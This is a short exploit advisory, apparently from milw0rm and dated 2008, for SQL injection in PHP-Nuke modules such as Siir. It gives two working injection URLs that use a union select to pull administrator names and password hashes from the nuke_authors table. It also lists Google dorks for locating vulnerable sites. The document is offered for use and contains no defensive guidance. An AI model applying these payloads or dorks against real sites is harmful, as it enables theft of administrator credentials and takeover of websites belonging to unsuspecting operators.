72 lines
No EOL
2 KiB
Text
72 lines
No EOL
2 KiB
Text
###############################################################
|
|
#
|
|
# PHP-Nuke Siir SQL Injection(id)
|
|
#
|
|
###############################################################
|
|
#
|
|
# AUTHOR : S@BUN
|
|
#
|
|
# HOME : http://www.milw0rm.com/author/1334
|
|
#
|
|
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
|
|
#
|
|
################################################################
|
|
#
|
|
# DORK 1 : allinurl: modules-php-name-Siir
|
|
#
|
|
# all (modules.php?name=xx) subject have secret print and
|
|
#
|
|
# and cant see op=print but cann- use exploit
|
|
#
|
|
################################################################
|
|
EXPLOIT :
|
|
|
|
modules.php?name=Siir&op=print&id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202
|
|
|
|
################################################################
|
|
# S@BUN i AM NOT HACKER S@BUN
|
|
################################################################
|
|
|
|
|
|
==================NOTE===================
|
|
|
|
|
|
###############################################################
|
|
#
|
|
# PHP-Nuke genaral print SQL Injection(id)
|
|
#
|
|
###############################################################
|
|
#
|
|
# AUTHOR : S@BUN
|
|
#
|
|
# HOME : http://www.milw0rm.com/author/1334
|
|
#
|
|
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
|
|
#
|
|
################################################################
|
|
#
|
|
# DORK 1 : allinurl:"modules.php?name"print
|
|
#
|
|
# DORK 2 : allinurl:"modules.php?name=Hikaye"
|
|
#
|
|
# DORK : allinurl:"modules.php?name=Fikralar"
|
|
#
|
|
# DORK : allinurl:"modules.php?name=bilgi"
|
|
#
|
|
################################################################
|
|
example
|
|
|
|
http://xxxx/modules.php?name=(xxx subject)&(subject)=exploit
|
|
|
|
you cant see print id on google becouse all system have secret print and this exploit working simetimes but not always
|
|
|
|
EXPLOIT :
|
|
|
|
print&id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,aid,0x3a,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202
|
|
|
|
|
|
################################################################
|
|
# S@BUN i AM NOT HACKER S@BUN
|
|
################################################################
|
|
|
|
# milw0rm.com [2008-02-21] |